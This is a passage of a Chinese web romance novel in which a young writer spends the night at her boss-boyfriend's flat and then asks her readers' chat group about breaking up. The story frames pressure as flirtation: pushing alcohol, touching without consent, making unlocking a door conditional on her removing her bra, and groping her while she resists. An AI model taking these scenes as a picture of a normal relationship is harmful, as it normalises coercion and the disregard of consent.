肖瑜快速洗完热水澡,如果是在自己家,一般这时候她都会先裹个浴巾出来,在卧室里把全身涂上护肤乳按摩一下,然后才会穿上睡衣做脸。可这到底是在顾程家里,她难免有些不太自在,吹干了头发坐在浴室休息台上,快速把身体涂抹了一遍,便擦擦水按按脸,穿好睡衣轻手轻脚走了出去。
顾程正在客厅看电视,慵懒地靠在贵妃沙发上,大长腿上下交错,怀里抱着软乎乎的小奶猫。他右手勾着红酒杯,左手漫不经心撸着猫。那个样子有点让人……忍不住吞口水。
肖瑜的脸悄悄地红了一下,因见顾程抬眸向她看来,她原地顿了下脚步,蹭过去坐在沙发另一边,抱起笔记本电脑左右看了看。
“先陪我看会儿新闻?”顾程歪头朝她笑了笑,声音很轻,“二十分钟。”
肖瑜点了下头,放下笔记本盘脚坐上沙发,葱白的脚趾粉粉嫩嫩,搭着肉色的指甲油,精致又可爱。
顾程把酒杯放在小几上,朝她招招手,“女朋友,你离得有点远,太生分。”
“喵呜……”团团也很合时宜地舔了舔爪子,朝她的方向抬起圆滚滚的小脑袋。
肖瑜跪在沙发上蹭了过来,她看着团团,没有注意顾程见状微抬的眉峰。
“给你抱。”距离顾程还有尺把距离的时候,他一手端起团团递向她,肖瑜连忙伸出双手接过来,而他些微直身,顺势一手握腰一手抬臀,把她端进怀里,取代了刚才团团的位置。
丝质睡衣质感轻薄,两个火热的身体如此亲密的接触,跟没穿衣服差不多。肖瑜的脸一下子就热了起来,僵硬地抱着小奶猫,尴尬地抬眼去看顾程。
他倒是没有丝毫不适,一手很自然地环住背脊搂着她的腰,修长的指节轻轻揽在她腰下,另一手又去拿了酒杯,很认真地看着新闻,偶尔轻抿一下,根本没往怀里看。
于是肖瑜又觉得自己想歪了,脸红心跳地低了
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头,专心去玩猫。
短脚英短异常可爱,大大的眼睛短短的鼻子,乖得很。她摸摸猫猫的头,又去挠它的下巴,团团舒服地眯着眼儿,干脆四脚朝天躺下来,随意任撸,把肖瑜开心地眼睛都弯成了月牙。
只是下一秒,屁股被揉着捏了一下,她一下子绷紧了身体,慌不迭又抬眼去看。
顾程仿佛根本没意识到自己的举动有何不妥,依旧老神在在看着电视,面色正经得不能再正经。
或许……只是,只是无意识地攥了攥手吧。肖瑜想。
可有了这一下,她在他怀里坐得有些心猿意马,猫也不能专心撸了,把团团抱在怀里,时不时就要抬眼看看目不转睛看着电视的男人。
还好接下来的几分钟里,顾程再没有掌心抽抽,只是渐渐的,肖瑜开始觉得屁股下边有点硌。
她忍不住扭了一下,顾程轻咳一声,终于低头看向她,嗓音有点哑,“怎么了?”
肖瑜把也开始想要乱跑的小猫放去地上,脚底踩了下沙发想起身,“我,我想去写小说了。”
“待会儿我陪你。”顾程的声音很轻,似乎怕她听不见一样,撑着她的臀又抱高一点,酒杯放去她的嘴边,“渴不渴?喝一口?”
“我怕醉……”肖瑜嗅着果香犹豫地摇摇头,“我想喝牛奶。”
“待会儿给你牛奶。”顾程把杯口轻轻抵在她的唇边,带着些怂恿笑道,“跟我在一起的时候,可以喝一点。我也想看看你醉酒的点到底在哪儿,以后心里有个数。”
“可我醉了会……”肖瑜说不下去,伸出舌尖舔了一口意思意思,便扭开了脸,“我不想喝酒。”
“那就不喝。”顾程把酒杯再次放去小几,空下来的手在她腰上轻轻搭着,“想去哪儿写?书房,卧室,还是阳台?”
“有沙发,够安静,就可以。”肖瑜又扭了一下,实在忍不住,伸手要往腰后摸,“有什么东西硌着我了。”
顾程一下就把她的手抓回来,攥在掌心,眸色有点暗,“故意的是不是?”
肖瑜愣了一下,低头往那个方向看了一眼,登时就脸红心跳地咬住了嘴巴,回过头来眼观鼻,鼻观心,丁点儿不再乱动。
“你在家也穿内衣?”顾程低头朝她凑过来,牵起她的手指,在她胸前戳了戳,“束缚了一天,不能让它透透气吗?”
“……”肖瑜嗓音都变得带了颤音,“你……我,顾总,我不想看新闻了,我想现在就去写……”
顾程很突兀地问道,“你现在在公司?”
“没有……”
“那你下班了没有?”
“嗯……”
顾程看着她水雾莹润的眸子,抬指揉了揉她的唇,“叫我什么?”
肖瑜懂了,可打字容易张口难。她咽了数次口水,才哑着嗓音瞅着他,结结巴巴道,“亲,亲……”
她想说,亲爱的。
可‘亲’字刚落下,顾程的吻也落了下来,带着浅浅的果味酒香,是温柔的,也是热情的,渐渐让她紧绷的身体松软下来,下意识抬手勾住他的脖子,才能不让自己在他怀里滑倒。
他的双腿弓了起来,撑住她的腰身,把她整个人圈在怀里,像是抱着一只蜷起的猫。
电视上的新闻步入尾声,两个人气息纠缠的亲吻却还在继续。
沐浴露的清香,果味的酒香,还有刚刚洗过澡干净的体香,在不断升温的缠绵悱恻中,让周遭的空气都染了色。
手机铃声突然响了起来,肖瑜惊醒般睁开眼,波光滟潋的眸子里,还有着几分意犹未尽。
顾程也缓缓睁开了双眼,染了欲的眸中,涌起几分疑惑,“不喝酒也这么会?真的第一次谈男朋友?”
58. 第 58 章
第五十八章
肖瑜不明所以地眨了眨眼。
手指微动,她这才发现自己不知何时竟已一手攥住了他的胸襟,一手五指插入发间摁在他的后脑勺,那架势,似乎是生怕对方吻到半途落逃,恨不得把人生吞活剥。
手机铃声还在一遍遍催,是顾程的。
肖瑜脸红脖子粗地把手缩了回来,撑起他的腿要起身。
掌心慌乱中摁到某样不该抓的东西,顾程闷哼一声掐住她的腰往上提,她越发手足无措地连忙又伸手推开他,几乎是连滚带爬地摔坐到了地上。
“我……顾总,不,亲爱的,我不是故意的。”
肖瑜有口说不清,羞得都带了哭腔。刚才的吻实在太温柔,让她意乱情迷间遵循了身体的本能,可随手乱抓那一下,真不是有心的。
那一下抓得顾程脸色有些泛白,他偏头忍了忍,才伸手拿过一侧的薄毯搭在腰上,抬腿踩上地毯,把她拉了起来,“视频会议的闹钟。来,先找个喜欢的地方给你。”
*
视频会议,是在闹钟响过的十五分钟后。足够看新闻看到春情荡漾的两个人平静下来,各自为安。
顾程去了书房,而肖瑜是在客厅伸展到边缘、可以俯瞰整个城市夜景的环形落地窗前。
舒适的毛毛虫沙发上,有顾程不知打哪儿拿来的小猪佩奇抱枕,一边的小几上,有热好的牛奶,一杯红酒,旁边还给她准备了一个放有坚果和饼干的小拼盘。猫窝也被他提了过来,连团团一起,放在了沙发的边角。
他准备得很充分,想必是自己在家那几天,就已经开始了约会的计划。
肖瑜喝着牛奶,转眸看着他为她准备的一切,心里暖暖的,甜甜的。她回头朝书房的方向看了一眼,真心觉得,拥有一个男朋友,实在是一件让人很快乐的事情。
心里甜了,写出来的文字就是甜的。
小猫团团有了点困意,被她抱来身侧挨着,迷迷瞪瞪打着呵欠,懒洋洋翻来翻去。她抱着电脑盘着腿,重新翻看了旧文后,幻想着随后的情节,渐渐沉浸其中,认真地敲起了键盘。
一个多小时过去,屋里一直很安静。肖瑜敲完一段剧情,不知不觉已经喝完了一杯牛奶,许是因为晚饭吃了炒面,总还是觉得有点渴。她犹豫地看了看红酒,还是起身去到厨房,接了杯纯净水。
只是回到电脑面前时,她又低头看了看顾程给她准备的小吃和抱枕,想了想,拿起手机给他发了个微信:【你要喝点什么,吃点什么吗?我拿给你。】
【要。】
肖瑜等了会儿,又问:【要什么?】
【要你把内衣脱了。】
肖瑜的手一抖,手机噔地掉在了沙发上,差点砸到团团,把刚睡着的小家伙吓得身上毛都炸了起来。
她脸一红,捡起手机回道:【你别闹。需要给你倒点水吗?】
【好。】
倒完水,她轻手轻脚走向书房。房门开着,里面很安静,并没有任何会议的声音传来。
顾程戴着耳机,电脑前是一本摊开的笔记本,他正蹙眉拿笔记录着什么,面前居然真的没有喝的,也没有吃的,跟自己那个被安排好的小天地一对比,简直没眼看。
见到她进来,顾程点了下头。可肖瑜刚把水杯放到桌子上,就听他对着电脑一顿埋汰,“这就是你们调研一周憋出来的结论?怎么不干脆建议把资金放进银行吃利息?长期持有的增值用你们说?我要的是能一次通过的提案。再想。”
这会议似乎开得不怎么顺利。
肖瑜正打算去厨房找点零食给他拿过来,顾程拿手指敲了敲桌子,待她回眸看向他,他又指了指刚才写了字的笔记本。
上边笔锋凌厉地写着:【把内衣脱了,让宝贝透透气。】
……
视频那边的诸人只看得到顾程低沉的眉目,和方才一只皙白玉手送过来的水杯。尽管每个人都震惊于此时此刻,身着睡衣的顾总家里会出现这样的画面,但舟城投资的初步提案被否决,没人敢在这会儿随意开玩笑,给自个儿找不痛快。
当然,也不会有人看到视频外,一脸不可思议看向顾程的肖瑜。
这么严肃的会议上,前一秒还在发脾气,后一秒,要她脱内衣?!而且,怎么就这么执着于她穿不穿内衣呢?宝贝透气又是什么鬼?
肖瑜跟他对视了几秒,转头默默走了出去,进厨房翻开橱柜看了看,拿了些果干和蔬菜片,还有牛肉粒,重新端去书房放在了顾程的桌上。
本子上有了新的留言,很漂亮的正楷,内容却污得很:【别让那对宝贝太受束缚,毕竟以后也是属于我的,现在起就要好好保养。一想到它们被闷了一整天,不见天日,我的心情就不太好。】
肖瑜咽了咽嗓子,瞥一眼电脑屏幕上还在绞尽脑汁轮流发言的男男女女,咬了下唇,默不吱声走出书房,压根没去看顾程的脸色。
她要回家。
男朋友可以亲亲热热涩涩的,但是,再这么呆下去,顾总在她心中的伟岸形象会崩塌。
可是房门打不开。
肖瑜提着猫窝夹着电脑,左拧右拧就是打不开大门,研究了半天才发现,一侧还有一个内置密码锁。她索性把东西都放去地上输了几遍密码,液晶屏一遍遍提示‘密码错误’,最后,居然直接提示‘已锁死,请等待八小时再尝试解锁’。
她不死心地又试了一遍:“请等待十六小时再尝试解锁。”
……
肖瑜欲哭无泪地扁了扁嘴,再次来到书房门口。
“嗯,闲置期承办赛事或者外租的方式不错,但场地那么大,肯定不止这些用途,而且目标客户要细化。”顾程正在讲话,侧目看了她一眼,依旧专注地对着屏幕说道,“预期利润太乐观,数据支撑不够。周四下午三点前把最终提案交给我,散会。”
肖瑜的脚还没踏进房门,一听见‘散会’两个字,立刻僵了身子,往后挪一步。
顾程拿下耳机,朝她招招手。
“我要回家。”肖瑜委屈巴巴地看着他,却站在门口不进来。
他开着会,她敢无视他,是因为他的身份摆在那儿,不可能当着众人的面乱来。可他这一闲下来,她立刻就有点不敢造次,刻在骨子里的怕被搓圆捏扁。
“你怎么不再试一次呢?”顾程捏了颗果干在指尖,一边揉着搓,一边挑眉看着她笑,“再试一次,就直接三十二小时锁定了。这是内置防盗锁,圈禁模式被触发后,有贼进来想跑也跑不了,除非跳楼。”
肖瑜幽怨地瞪着他,他却还补了一句,“是我亲手操刀的第一笔投资。”
“……”她觉得顾总的形象已经开始一点一滴崩塌,衣冠禽兽,幼稚自负。
“乖,你不是很听话吗?”顾程还在看着她笑,“或者,你想让我帮你脱?”
肖瑜见他作势要起身,连忙双手抱胸又后退一步,小声问,“脱了你就解锁吗?”
“嗯。”顾程点点头,轻咳一声坐直了身子,但是没有任何避嫌的意思。
肖瑜垂下眼睛,咽了下嗓子,伸手摸上后背解开搭扣,一手钻入衣摆抽出一边胸带,另一手滑下另一边,不多时,从领口拿出被男人惦记了整晚的内衣,攥在手上,别扭地说道,“你解锁。”
“还可以这么脱?”眼前的视线被挺拔的身影遮罩,手中轻薄的内衣也被他抽了过去,十分新鲜地摊开来上下翻看,“变魔术似的。你穿回去再脱一遍我看看。”
“……”肖瑜崩溃地仰头
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看着他,眼睛里委屈地都泛起了水光,“我要回家!”
小姑娘是真急了。
顾程压下唇角,不再逗她,很配合地拥住她的肩,一起向客厅走去。
团团还在门前的猫窝里呼呼大睡,小小月龄,呼噜声居然十分响亮。
顾程瞥一眼睡得不省猫事的团团,一边在液晶屏上按字母,一边随意问道,“你晚上睡觉有什么坏习惯吗?打呼吗?”
“应该,没有吧。”见他十分配合,肖瑜也不再像刚才那样激动,还很认真地想了想,才应道,“偶尔,会说梦话?”
顾程很诧异地扭过头来看她一眼,她怔了怔,连忙又解释道,“很偶尔,我不常做梦的。”
顾程还没再开口,警报声响彻云霄,液晶屏一片泛红。
肖瑜被吓得直接蹲身捂住了耳朵,顾程也紧皱眉心迅速又按了几个数字加字母进去,液晶屏这才再度泛起蓝光,提示道:【系统进入保护模式,请联系紧急情况维护人员。】
“我打个电话。”顾程叹了口气,拉起还蹲在地上的肖瑜,很是无奈地指指沙发,“智能系统不能乱搞,你刚才那一通操作,恐怕直接让主板宕机了。坐下等着,别慌。”
肖瑜动了动唇,有些理亏地低下了头,被他拥着坐去了沙发,乖乖坐在那儿等他去书房打电话。
大约过了十几分钟,她听得到书房里,顾程跟人沟通的声响,内容听不太仔细,依旧是平素低沉且稳重的语调,有来有往,而且似乎还不止打了一个。
终于他再度走了过来,面色有些不太好看,“因为不是火灾地震这类紧急情况,维护人员节假日不过来处理。”
肖瑜的脸色有点白,顾程顿了顿,又道,“不过我托人找了关系……”
肖瑜轻轻舒了口气。
可顾程却把红酒拿起来喝了一口,叹口气,“远程植入程序,大概周日可以解锁。”
肖瑜一下子就撇了嘴,“可是……”
“还有一个办法。”顾程把红酒递给她,见小姑娘握住酒杯期待地看着他,他示意她喝一口压压惊,才慢条斯理地说道,“浪费一下公共资源,叫消防车过来看能不能帮忙给你送下去。不过,大概率云梯上不来。”
“……”
*
到底肖瑜也没好意思因为自己的莽撞,去浪费公共资源。
况且刚才是被顾程一遍遍要求脱内衣给逼急了,此刻出了这样的事,顾程看起来其实比她更郁闷。
他先是走去书房拿了本厚厚的说明书出来,一页一页翻着,在门前捣鼓了半天。随后看样子是无功而返,坐在沙发上很无奈地又打了两个电话,一个是打给安祈攸的,一个是打给顾父的,内容都是因为个人原因,周末集团安排的剪彩和商务宴请无法出席。
肖瑜抱腿窝在沙发上默默看着他。
终于等他挂上电话靠回沙发,有些疲倦地闭上眼睛揉起了眉心,她才小心翼翼地跪在沙发上蹭过去,拉了拉他的手,“对不起。”
她应该先问问密码再尝试的,而不是一心急就乱来,自己被迫夜不归宿,还耽误了别人的正事。况且,顾程在跟他父亲解释的时候,默默承受着埋怨,丝毫没有提及真正的罪魁祸首其实不是他。
顾程缓缓睁开眼睛,很宽容地把她拉过来,抱进怀里拥住背,“没关系。明天早餐想吃什么?待会儿睡前我准备一下。”
“我会煎蛋。”胸前此刻只有薄的几乎不存在的睡衣遮罩,肖瑜因那几乎肌肤相亲的触感别扭地弓了下腰,到底没再挣扎,红着脸也搂上他的脖子,悄声哄着,“你不用早起,我可以起来给你煎蛋,热牛奶。”
顾程在她脸颊吻了一下,抵着额头目不转睛看着她,“说梦话,是谁告诉你的?”
59. [锁] [此章节已锁]
第五十九章
“嗯?”肖瑜不解地眨了下眼,有些不好意思地说道,“室友。以前在寝室的时候,我做梦沉到水底上不来,一直叫救命。北北到现在都会笑我。”
“做个梦也这么可爱。”顾程低声笑了笑,些微把她松开些,执起她的手又问,“给别的男人做过早餐吗?”
肖瑜愣了一下,抱着他脖子的双手松下来,欲言又止地看了看他,摇摇头。
她这个反应,虽然让他很满意,又有些出乎意料。顾程抬了下眉,握起她的双手重又挂回自己的脖子上,勾起她的下巴,“怎么了?没做过还怕我会吃醋?”
肖瑜咬了咬嘴巴,犹豫地问道,“你跟舒曼,你们以前也曾经这么亲密吧?那为什么分手呢?”
“原来是吃我的醋?”顾程笑了笑,环在她腰上的手拇指抬了抬,若有若无地碰触到了上方的浑圆,惹得怀里人轻颤一下,他才裹了她起身,抱向卧室,“时间不早了,我们去床上慢慢聊。”
*
夜色渐浓,落地窗外竟忽然响起隆隆雷声,继而是万物喜见的春雨。
故地重游的两个人之间,因为肖瑜的要求,以小猪佩奇的布偶为界,楚汉分明。
顾程瞅着身边那只仰面躺在床上的粉猪,只恨自己手欠,居然听信了顾菲的话,买了这么个庞大的蠢货。
这只玩偶不同于此前给她准备在窗前的抱枕,而是足足半人高,原本被他安置在卧室一角,它的存在也只是为了让她留宿时能更觉舒适。
肖瑜倒是真觉得很舒适,可以跟男朋友在安全距离亲密相处,这才是她想象中恋爱初期的正常状态。不过,当然,他们的恋爱开始得就不怎么正常。
“你可以跟我讲讲舒曼吗?”见顾程靠上床头之后就没再说过话,肖瑜翘起头,趴在小猪佩奇的大脑袋上,好奇地看着他问,“她住在这里的时候,你们……”
她原本只是好奇,可话说到这里,想起刚才他频繁地抱着她亲热,又想起他也曾经跟别人那么相处过,她心底突然涩了一下,嗓音也不再那么兴奋,“你给她做过早餐吗?”
“嗯。”顾程此刻的注意力全在佩奇的膀子上,因为这只该死的粉猪,挤到了属于他的宝贝。他握了握五指,忍着气从床头柜上随手拿起一本书,“女朋友的时候没有。做室友的时候,有。”
“室友?”肖瑜有些诧异,把头翘高一点,去看顾程被书遮挡了的脸,“你们还做过室友吗?你们的大学里,男女可以混寝?”
“是分手后她回国度假的时候。”顾程耷着眼皮,透过书本下方,看到肖瑜因这姿势抬离粉猪的胸部,心里稍微舒坦了点,又把书拿高了一些,“分手是因为不合适。没有同居过,没有睡过,如果非要算的话,算接过一次吻。还有什么要问的?”
“真的吗?只有一次?”肖瑜的唇角不自禁就翘了起来,可视线被那本封面写满公式的书拦挡,她又凑近一些再把头抬高,疑惑地问道,“可是,怎么可能?”
晶晶亮的眼眸,挤着眉的小脸,悬在书的上方看着他。顾程喉结一动,正想把书再举高点,哪知小姑娘脖子一缩,把头从书本下边钻了过来,眨着眼说,“你们都好了小半年,怎么可能只接过一次吻?再说……”
她此刻整个上半身都趴在大大的佩奇上,粉嫩的小脸距离顾程的胸膛不过尺寸,嘟嘟囔囔,有点害羞,又有点像在吃醋闹脾气,“再说你亲我的时候,一点都不生疏,明明就很熟练……”
顾程把书放去一边,等着她继续。
可她看一眼被他放去枕边的书,居然往后缩了缩,悄咪咪跟他拉开了些距离。
顾程因她的动作皱了下眉,脑海中闪过跟她相识以来的不少画面。人前人后她似乎有点不太一样,在他忙的时候跟闲的时候,好像也有点不一样。
就好像他刚才在开会,小姑娘敢明目张胆跟他对着干,可一关了视频,就一副含羞草合了叶的样子。他拿着书,她就仿佛完全打开了,什么都敢问。这一放下书,就缩头巴脑不敢往眼前凑。
啧,身上有隐藏开关似的。
他又把书拿起来,悬在她的头顶,漫不经心地看了她一眼。果然小姑娘轻轻松了口气,又往他这边爬了爬,小声道,“你说嘛。”
“说什么?”顾程的声音像在喉咙里转,轻得很,不凑近了几乎听不到,“本能而已,难道……”
他想到了些什么,眸色微暗。
肖瑜正想再往前凑,可看到他变幻的神色,愣了一下,咬咬嘴巴,下意识止住了动作。
顾程彻底丢开了书,不等肖瑜见状往后缩,一把揪住她的胳膊就给提了过来,顺腿一脚把碍事的大粉猪踹下床,让她整个人被迫扑在了他身上。
“你,刚才……”肖瑜扭着腰,翘着头挣,“都说好了,晚上要……隔着佩奇睡的……”
“你自己先越界,还怪我?”顾程把她无处安放的双臂挂上脖子,稳一下呼吸,抬指抚上她柔软的唇,“我不比那头猪趴着舒服?”
肖瑜愣了一下,登时就忍不住笑出声来,本能的挣扎欲也被卸了大半,身子软了下来,“哪儿有人拿自己跟猪比的?”
“你问了我这么多问题,是不是该我问了?”顾程凝眉看着她,因她闻言顿生忐忑的眼神,不由眯了眸,“我不是你的初吻。”
他没有用问句,而是笃定的语气。
肖瑜下意识想咬嘴唇,可唇瓣被他拿拇指摩挲着,她难耐地抿了下唇,却像是含了下他的手指。
顾程的喉结动了一下,腰肉有点紧。
“不是。”
“跟你喜欢的那个男人?”
“嗯……”
“亲过几次?”
肖瑜垂下了眼睛,“两……两,三次吧。”
顾程的眸色有些凉,视线从她甜美精致的五官,一一掠过她起伏完美的身躯。沉默片刻,他松开手直起身,把她抱坐在腰上。
“你说过,以前的事不重要。”肖瑜看他一眼,低下头,嗓音有些低落,“我问你那些,也只是有点好奇,我都不介意的。”
“跟他睡过吗?”
肖瑜的身子颤了一下,摇摇头。
顾程舒了口气,明知不该再问,可还是有点不是滋味地开了口,“他摸过你吗?”
肖瑜的五指紧了紧,再抬头时,眼中明显有了丝雾气。她不说话,却作势要从他身上起来。被他掐住腰摁下来,她也只是咬着嘴巴狠狠推他,不多时便红了眼眶。
这反应直接给出了答案。
顾程心里一股子郁气蹿上来,抬手便隔衣揉上她,另一手握住她的颈后,侧身把她压了下去。
“像我这样吗?”他一边问,一边顺着她水一样柔的身子往下探,一丝一丝,一寸一寸,滑向她的腰窝,“这里,这儿?这里呢?他不喜欢你,你还让他这么动你?就那么喜欢他?”
肖瑜登时剧烈挣扎起来,眼泪像断了线的珠子,扑簌簌落在耳畔,“我喜欢过别人,你从认识我的时候就知道。你介意,就不该答应跟我在一起!”
她委屈至极,狠狠推他推不开,放弃地拿双手捂住了脸,看都不想看他。
顾程抽出手来,五指攥紧又松开,面色铁青地看了她半天,才抬手扯开她掩面的手臂,低声道,“别哭了。我不问了。”
肖瑜还是泪流不止,闭着眼睛,偏头把半边脸埋在枕间。
顾程起初是真的气极,一直以为她纯得像张白纸,那日醉酒也不过是理论的第一次实践。可哪里知道小姑娘看着乖巧又听话,居然初吻初摸都给了人,还是曾经魂牵梦绕被拒绝了就能哭成核桃眼的那个人。强烈的落差感,委实让他恨得咬牙。
可是,人的出场顺序就是这样,小姑娘生在舟城,跟他原本八竿子打不着。便是在泽城这几年,那人之前,他也从未与她相遇。况且她的个人条件摆在那儿,脸蛋嫩得像蜜桃,身段美得像妖精,就这样还能大学快毕业还是完璧,已实属不易。所以除了生个闷气,他又能怎么样?谁让他没在她刚出生时就给定了,彻底杜绝他人染指的机会?
想通了,也就恢复了理智。
眼瞅着如花似玉的小姑娘哭得抽抽搭搭,顾程叹口气,起身把她抱在怀里,软了语气哄,“别哭了,再哭又成肿眼泡了,很丑。”
他说着,难免想起那时肖瑜正是为了那个人变成了肿眼泡,忍不住又皱了眉。
可小姑娘刚被抱起来,立刻就蹬鼻子上脸,直接就推开他跳下了床,捡起地上的佩奇要往门外走。
他长腿一迈就把她拽了回来,肖瑜把粉猪当盾牌抱在怀里,瞪着他哭着说,“你别碰我,我以后再也不想跟你亲热了。”
顾程愣了一下,眉目间已有几分不悦。
“你也觉得我上赶着送是吗?我不是,我只是……”肖瑜的脸色有些苍白,她眼里含泪看着他,透过泪水,掩不住眸中浓浓的失望,“我只是觉得,如果两情相悦,亲密的事情是水到渠成的,我并不觉得这是错的。”
她咬了下唇,似是用了很大的力,才把接
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下来的话说完,“以前会跟他那么亲密,是因为我一直以为他也是喜欢我的。可我,是我理解错了……第一次喝醉后跟你……是意外。可现在我只是想认真地跟你谈恋爱,跟你……接吻,亲热,是因为你是我的男朋友,我也觉得我们是相互喜欢的……可是……”
她实在说不下去,又有泪水顺着她的眼眶奔涌而出,因为曾经被踩在地上碾碎了的心,更因为想要重新喜欢一个人,却被他把旧伤撕得血淋淋,还要冷言相讥。
于是她抹了下眼睛垂下头,没有再多说什么,绕过不再拦着她的男人,抱着佩奇睡去了客厅的沙发。
*
原本已经到了生物钟,可剧烈的情绪波动,让肖瑜毫无睡意。
她打开笔记本,想通过写作来纾解情绪,可泪水模糊着双眼,委屈又难过的心境,让她毫无灵感。
卧室那边静悄悄的,过了会儿,顾程的身影出现在门口,却是折身去了书房。
肖瑜眼角余光看到他开了书房的灯,嘴角撇了一下,越发觉得心里又涩又疼。
她点开微信小号,上了自己的读者群,里面一堆夜猫子正聊得热火朝天。
更文闲暇,她偶尔也会进去聊会儿天,但并不频繁。这是编辑给她的建议,要跟读者有互动,保持人气,但也要保持一定的神秘感和期待值。
网络让人自带面具,没有人知道连线的另一端,叫嚣着要睡遍各大校草的口嗨王,会不会根本是个见了人就会脸红的小雀斑,也没有人知道,坚称抵制婚前X行为的,会不会其实是个真正的海王。每个人都在网络世界里肆意宣泄,只要不违法,各式各样的言论和八卦都不新鲜。
这会儿她们正讨论的话题,延展自肖瑜新文自动更新的章节,内容是:【‘我爱佩奇’是不是终于有男人了】。
因为大家都觉得,新文里面的亲热戏逐渐开始行云流水,终于有了那么点画面感。
【冏冏有神】说:‘肯定是的。小猪宝有些日子没来了,肯定正蜜里调油呢。你看最近这些章节,时不时就要撩一下,嘴一下,做一下,看得我都内分泌失调了。’
小猪宝,是一部分读者对她的昵称。还有另一部分读者,叫她小粉猪。
【夜半开花半夜】:‘你男朋友不行吧?就小猪宝这清汤寡水的文,还能让你内分泌失调?换个男朋友就调过来了。’
【妖姬不是幺鸡】:‘肉太少是真的,不过氛围感是真进步了。我站囧囧君的队,小猪宝肯定有男人了。’
【给姐跪下叫女王】:‘我也猜小猪宝有男人了,而且说不好真就是霍总这样的低调霸总。因为我身边就有同类型,很写实。’
霍总,是文中男主。
【冏冏有神】:‘啊!女王,真假?你身边?你是做什么的?爆点内幕啊。’
【给姐跪下叫女王】:‘内幕不敢,随便聊聊。我们家霸总也很低调,不过像他这种也不是刻意低调,主要是打小玩过的车和名品多了去了,有点烦到哪儿都被眼盯着,所以更喜欢泯然众生点。但问题是,我们家霸总他长得超正,身材巨好,属于穿不穿衣服都能让人流口水的类型,泯然不了一点。就算没车没表,都让人愿意倒贴。懂?’
【冏冏有神】:‘姐!女王大人!求带!想要个同款霸总很久了,不求天长地久,但求一宿风流!’
【给姐跪下叫女王】:‘呵呵。我还不想那么早超生。我们家霸总铁树开花刚谈了个小朋友,正蜜里调油呢,别闹。’
【妖姬不是幺鸡】:‘小朋友!!!女王,你们家霸总口味这么重?可不能知法犯法啊!’
【冏冏有神】:‘女王!你们家霸总也跟霍总一样猛吗?’
一群口嗨王,对女王家的霸总产生了浓烈的兴趣。可女王也不知道是自觉说得多了,还是故意搁这儿玩悬念,居然自此没再说过话。
于是群里又开始热火朝天地讨论起,在现实生活中接近一个同款霸总的可行性战略方案,肖瑜也被她们夸张的嘴炮逗得破涕为笑,她刚在群里现身打了个【大家好,还没休息呀?】突然看到顾程从书房里向她走来,她愣了一下,登时又嘟了嘴,故意低头不去看他。
可顾程压根也不是来哄她的,而是把她放在身侧的半人高佩奇给拿了起来,转身又回了书房。
肖瑜被他的无视又扎了下心,抿唇生着闷气,跟群里立刻热火朝天跟她打招呼的小伙伴们说道:【姐妹们,我有一个问题。男朋友介意我的初吻不是他,不理我了,我是不是应该跟他分手了?】
60. 第 60 章
第六十章
【啊啊!小猪宝你真的有男人了啊!有照片吗?发一张看看,给你把把关啊!】
【初吻?这什么年代了,还有男人会在意是不是初吻?哦哦哦!小猪宝,你不会还是处吧?你到底几岁啊?】
【分!必须分!这样的男人很偏执,占有欲太强不是好事儿。以后你跟别的男人说句话他都会想杀了你,容易家暴,分!】
【只有我好奇小猪宝的初吻对象吗?乖乖,你初吻是小学还是初中啊?】
【他凭什么介意?他自己是初吻吗?是处吗?不是的话凭什么要求你是?双标渣男,分!】
微信群里一下子炸了锅,肖瑜被那一条条信息刷得都不知道要先看哪条,不过总体来看,建议分手的占绝大多数。
她叹了口气,有点无奈地在群里回道:【我第一次谈恋爱,不知道是不是应该提分手。如果因为一次吵架就分手,感觉有点太随便了。可是,这不是误会,是已成事实,没有办法改变的,以后肯定会一直膈应。所以,我想慎重地想想再决定。】
【我的天啊……初恋?!哦哦哦!】
【小猪宝你厉害的,初吻不是给初恋?都把我闹迷糊了。】
【别闹!小猪宝需要大家帮助,听我说!】
【别闹!小猪宝需要大家帮助,听我说!】
【别闹!小猪宝需要大家帮助,听我说!】
……
【冏冏有神】跳出来刷了屏,然后终于占据了微信的绝对有利位置,发出一条简讯:【我建议决定要不要分手前,先问自己几个问题,如果答案都是肯定的,当然不分啊,他只是吃个醋而已,哄哄就过去了。如果有一个问题的答案是NO,那就分吧,心眼太小别惯着。小猪宝:你男朋友活好吗?长得帅吗?身材好吗?有钱吗?】
跟着,微信群里静悄悄的,大家都跟被禁了言似的,一声不吭。
肖瑜咬着嘴巴想了想,回道:【他很帅,身材很好,也不缺钱。】
还是没人说话。
好半天,【冏冏有神】催促道:【活好吗!?】
肖瑜也是在网络里浸淫惯了的,自然明白她问的什么,可她到底未经人事,红着脸回道:【他说结婚前不会的,而且我也不觉得这个很重要。】
微信群里一片沉默,跟着,又炸了,沸腾式开炸,连一些化石级潜水员都被炸了出来,慷慨激昂地发言。
内容太多太丰富,总的来说,分为两个部分。一部分针对她的后半句话,无私分享着生活中那些个‘我有个朋友’的案例,语重心长教育群里还没对象的小姑娘,活好的重要性和提前验货的必要性。另一部分,则是针对她的前半句话,质疑她这位男朋友提出这个要求的真实意图。
最活跃的还是【冏冏有神】:【小猪宝,你得验了货才知道,尤其是长得帅身材好的。他到底是‘不想’,还是‘不能’。因为结婚前‘不会’,有可能结婚后‘也不会’。】
这话得到了无数群友的支持:【小姐妹们,新时代要做自己身体的主人。不是提倡滥交,但如果打算跟对方进入稳定的婚姻关系了,提前验一下货不吃亏。】
【不仅要验货,最好能同居一段时间,了解一下彼此的生活习惯。结婚后的柴米油盐可不是恋爱那会儿的纯浪漫,有人真的是出门光鲜亮丽,家里狗窝一样,根本下不去脚。内裤几天不换,袜子正反轮着穿,酒瓶子倒了都不扶,懒的一批。】
也有一些不太认同的声音,不过是少数:【同居我支持的,的确可以增进了解或者相互磨合。但我还是不赞成验货,新婚夜是神圣的,我愿意留在那个时候,跟心爱的人共同进入新的亲密关系。】
【如果两情相悦的话,同居还能忍住不验货的是少数,基本不存在。哦,不对,有些人可能就没这需求,或者直接在同居期就出轨呢。所以你看,还得验一下好。】
【你这话有失偏颇,柏拉图式的爱情难道就不存在吗?】
【那是爱情,不是婚姻。当然,各玩各的开放式婚姻不在讨论范围内。】
【姐妹们要团结!!!要不咱们玩个投票游戏吧!就囧囧刚才那几个条件,按大家心中的重要度排个序……】
……
群里七嘴八舌又热烈讨论起来,以至于气氛太嗨,把解答肖瑜疑问的初衷都给忘了。
她到底年纪还小,一看要投票,也玩心大起地咧着嘴准备排个序,可眼前忽然快步过来一个人影,她连哼都没哼一声,就被顾程把电脑从手里抽开丢去沙发,低头勾腰抱住腿,直接掐在怀里大步往书房走去。
